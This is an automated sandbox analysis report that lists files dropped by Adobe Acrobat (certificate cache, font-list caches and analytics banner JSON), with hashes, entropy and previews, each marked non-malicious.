SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklaN41L/tfllXlE/HT8kpitNNX8RolJuRdxLlGB9lQRYwpDdt:kKDoDeT8g+NMa8RdWBwRd
MD5:	E6EBEBED7451D48CFF367ED7775D23C1
SHA1:	F6086782D9AFE2A35CFAAFC7FD9CB1532113B383
SHA-256:	C372B9140BC5FC5FCD8034747CAF32784F98A7DEEA14AE470FC4F5A827BFF191
SHA-512:	6C5076B31679EBE2810C7C361749668544F3EF5D65367D1415C9BFFABA130CAD7CED2D6726BDA2EE366A032AD95B7085093C997DB210D5F3DFA9B98137D7FC78
Malicious:	false
Preview:	p...... .........&...c..(....................................................... ..........W.....M..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7680

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7680

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.368337523462104
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRd/dVoZcg1vRcR0YEreoAvJM3g98kUwPeUkwRe9:YvXKXRd/kZc0vlrVGMbLUkee9
MD5:	C12710F916051495FFA30BDAE0967617
SHA1:	CBAF5BB5330B45B8D9B1901A88A2709795A88407
SHA-256:	2F511177A28315104971C3428AA3ED19173FF0415CB0159DAD08EACEDD863F4A
SHA-512:	6BD56EFA76E8BE9A1E4D33796FCC13C63879F80730B0836C69C605DA364E5314065295EB40FEAFCE8A6D353389824491A3031BE2B3B9A2A8E60D15B50D06C2E2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9c925361-04ea-433b-88d0-e790ce85e6ba","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758720110,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.316939742835242
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRd/dVoZcg1vRcR0YEreoAvJfBoTfXpnrPeUkwRe9:YvXKXRd/kZc0vlrVGWTfXcUkee9
MD5:	0BF17173A794C54E178AB4173773A279
SHA1:	760250E7546A8ABD1E36B3E7149C940B7F9D11C0
SHA-256:	7ED78850806D44628009003771453FC6F28B76CBD69027D2BB268104DB2D158E
SHA-512:	C8EA68744A1F05399902A5C3E4373EE40F27587E7070A32A030339FB9F5B7D712221A51CE3F2EF2BED2A755AB83D9151006AE5F439012612619F5FF905AA2C7A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9c925361-04ea-433b-88d0-e790ce85e6ba","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758720110,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.296019207040203
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRd/dVoZcg1vRcR0YEreoAvJfBD2G6UpnrPeUkwRe9:YvXKXRd/kZc0vlrVGR22cUkee9
MD5:	1B1D3DE0A82A687A02037CE14D6028A6
SHA1:	171504BAEA7BFB17282F0D605A5D630646740328
SHA-256:	52327FA7BA5EA94C527E3B260D689276A28A226E2C309FD7AA12225C8EF9E6A4
SHA-512:	EDC127EA3244DD4933D2C70D602590C91A446C92B1DB1D77A32C8E0A486E963EE6D0AF3E4290AE24081890FD61647C21085DF98C0063AE8B789883F79F44FFAA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9c925361-04ea-433b-88d0-e790ce85e6ba","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758720110,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.355522560785155
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRd/dVoZcg1vRcR0YEreoAvJfPmwrPeUkwRe9:YvXKXRd/kZc0vlrVGH56Ukee9
MD5:	2F704FAA18A339C5C166CF055B543B08
SHA1:	13F7F9DF8550681A8608888DD838DA1E6AAD924E
SHA-256:	A1A281AC7638F34398D4DD1212B6C87B5E77BBCA8AC3F3DEB785386473064ADA
SHA-512:	5368B6085A49BBD16A60EAB51BC98675816C1B620B0F736459C4E276151F8DB023B9A47F08E171AD0E9B6E2A7CDB6FFD2FE7093B8C7A571B70335F5162AC77B1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9c925361-04ea-433b-88d0-e790ce85e6ba","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758720110,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.688243499208669
Encrypted:	false
SSDEEP:	24:Yv6XRGzvlGpLgE9cQx8LennAvzBvkn0RCmK8czOCCSv:Yvc+Ehgy6SAFv5Ah8cv/v
MD5:	CBFFAB4C86284197FB85B0D8A509FF4C
SHA1:	EC96A3CC59C26F448E63BC382737994AFCF81E8D
SHA-256:	6ABA9BACEF9F826AF725249D44A8AF88AFA8A38431AF104F375FCEFCA47F3145
SHA-512:	0387756094BF25EB778D4A4D789555756DF5CF847B730D54FFB8438F785FE7327D4850F10626864DC575B7F5137EEAC160D09D06EED40F8DE2EE29B8F37EF66C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9c925361-04ea-433b-88d0-e790ce85e6ba","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758720110,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.300637443143053
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRd/dVoZcg1vRcR0YEreoAvJf8dPeUkwRe9:YvXKXRd/kZc0vlrVGU8Ukee9
MD5:	ADF42CC78679A9B35917BD203940B1AC
SHA1:	3742CDE6E27AD3A52E458C06187DECBE2BB3AED3
SHA-256:	C9E12F622C65F284BD97F2D39EA5BF49A15D80ED6431C58BAE80FB6532919C37
SHA-512:	82191140B503E02925BC438C174C68E153A8CB4C885617EB7C26C94DA245688AC85546A8A47961B81BBD60CF324457B1C4FB495BBB34931E776DD29D783EEC9E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9c925361-04ea-433b-88d0-e790ce85e6ba","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758720110,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.303996744017244
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRd/dVoZcg1vRcR0YEreoAvJfQ1rPeUkwRe9:YvXKXRd/kZc0vlrVGY16Ukee9
MD5:	EDEEF2A58FAD6F02CC3E411574C87091
SHA1:	980AA875CA8C16C5EB264401D8C616A9D2716D2E
SHA-256:	4567631DDDAEC244943820E6D3C0E2890B62A9B7224575B30A20AB4FAEBC1034
SHA-512:	768759F75122CFD57B9312A11212DFD23E332A10713E52D37EA78D8364D9E4F28835890680C6EBF2A571365C4A63FF05994BA343B0BEE45107711ADEDEAEEC19
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9c925361-04ea-433b-88d0-e790ce85e6ba","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758720110,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.310945696942516
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRd/dVoZcg1vRcR0YEreoAvJfFldPeUkwRe9:YvXKXRd/kZc0vlrVGz8Ukee9
MD5:	F7CED8FD2A9A5926AAA4FE8974AF4E3D
SHA1:	18175D4373A12320632DA2A731F90AE572DB8887
SHA-256:	0C3AA43738641BA3424F09239915AD02E0F2CE874633DCD138B7AE0E11CFB9BB
SHA-512:	D871462F99AB7469A3CCEA78B62B3D0645DCE250697B77D2F693A7F0794DA3A315044C0D918A3CC7C7F0C923B666FE7B747AF288057B2A6B0151CC7B721759FA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9c925361-04ea-433b-88d0-e790ce85e6ba","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758720110,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.325614272837944
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRd/dVoZcg1vRcR0YEreoAvJfzdPeUkwRe9:YvXKXRd/kZc0vlrVGb8Ukee9
MD5:	F057C77531B6BB0E0BF01D30AB775AD2
SHA1:	61854E66825A6CC6346712E965D64567878C598E
SHA-256:	6F4C9270006694D9DA5F23502045DA1E9800FC7BA4F7BD5C4FDB2B6260CCEFBB
SHA-512:	C93CEA983CD3C76D722715EDA50AF2DD2FD66140735B97DB0F4A01B6F9B0241778CB7F0BBAB21358CB1D803CDFA7B6BFBF7CCCB2E16BA6857A13DDA9B0BBCEBD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9c925361-04ea-433b-88d0-e790ce85e6ba","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758720110,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.306387786931755
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRd/dVoZcg1vRcR0YEreoAvJfYdPeUkwRe9:YvXKXRd/kZc0vlrVGg8Ukee9
MD5:	422FECDE0A6B6A008F2706760AE14F6E
SHA1:	710FCD220A7333565271ED1F8D878EE90BE4EBD4
SHA-256:	1D6C52DE341FE13FE588F462FEC78DA6154DCF1A603CDDB019A0EF62AD4C121C
SHA-512:	A09E1C08B75C2E1217C92217F28B4288D02C17234205E49534F20765E871E7F080BAB776FC9C46C96F33BA6D6E644740DB32399375E4BA0F0957A41BDA15DADE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9c925361-04ea-433b-88d0-e790ce85e6ba","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758720110,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.29339946178182
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRd/dVoZcg1vRcR0YEreoAvJf+dPeUkwRe9:YvXKXRd/kZc0vlrVG28Ukee9
MD5:	89351C859CE3250211A681570E3B9033
SHA1:	93F908C1CFF46B7BBC016E1347EF947DBEB58592
SHA-256:	D94775C561B1EC45CCF5084039143F81AC38A3CA614CAEAEE04DED0A5C2149B7
SHA-512:	115177A90A3592F3A54A89B0EC8C12B3A449D347706EDD5CB4BAFF65ED8DA860CF7FDB58584B2C51275B3AFFC2B95A911F27FD551006F940ACF4E7B3FB0D9FAC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9c925361-04ea-433b-88d0-e790ce85e6ba","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758720110,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.289890982289937
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRd/dVoZcg1vRcR0YEreoAvJfbPtdPeUkwRe9:YvXKXRd/kZc0vlrVGDV8Ukee9
MD5:	1200992FD7173C7C6196DD88E729A808
SHA1:	585CFA29948596A06C2AC6D9707250042FB16CB7
SHA-256:	7C4252D6791D9F3C580B05D7F25482D12AFF6E6CB2C31F8FE0C3B6D4C13F0094
SHA-512:	F7217EEA1556CC446B32567E578F70DA720DC00AB865B2D5124D65266C9841F1DEDFF09B0796BE8B20A5844432A05BF0938369AF1C37F92845AB6EF7C50C8B73
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9c925361-04ea-433b-88d0-e790ce85e6ba","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758720110,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.29463085143649
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRd/dVoZcg1vRcR0YEreoAvJf21rPeUkwRe9:YvXKXRd/kZc0vlrVG+16Ukee9
MD5:	D4FD1E605EAFB2839C5127E3E46666D5
SHA1:	F2325F7DECE0D2BBB3D47EF334C93D3AC0014702
SHA-256:	CDD3D666A449008F27BE4343E0E8FB91189D408F2BF33D377E53E58E2CEE98EC
SHA-512:	B0FB63DA94E59F4C119F50DDFE5835CC3360037A5879ED30D147084208157F1DEE52822E06AFC50A1651FC650E7355929A22597488A90778BB663B31CEF1BE45
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9c925361-04ea-433b-88d0-e790ce85e6ba","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758720110,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.663687323270422
Encrypted:	false
SSDEEP:	24:Yv6XRGzvlaamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSv:Yvc+mBgkDMUJUAh8cvMv
MD5:	965FBEE4C0ECDF9413D3B148FE566E75
SHA1:	23A20AF8742D17EA6B4CB3E55F8170363DB269BD
SHA-256:	EFE8650BB97F03EA624340E135482A595A2C66D3CA0C827A3836DCFDAC471ED2
SHA-512:	5249251BC2277491254B4FDDF9C1EFC8A88E1278B6A96E22309972DCD3CDE65ADDB53804769B35D4F189FD962A73754F8286177058C1536A098B44E666A45007
Malicious:	false
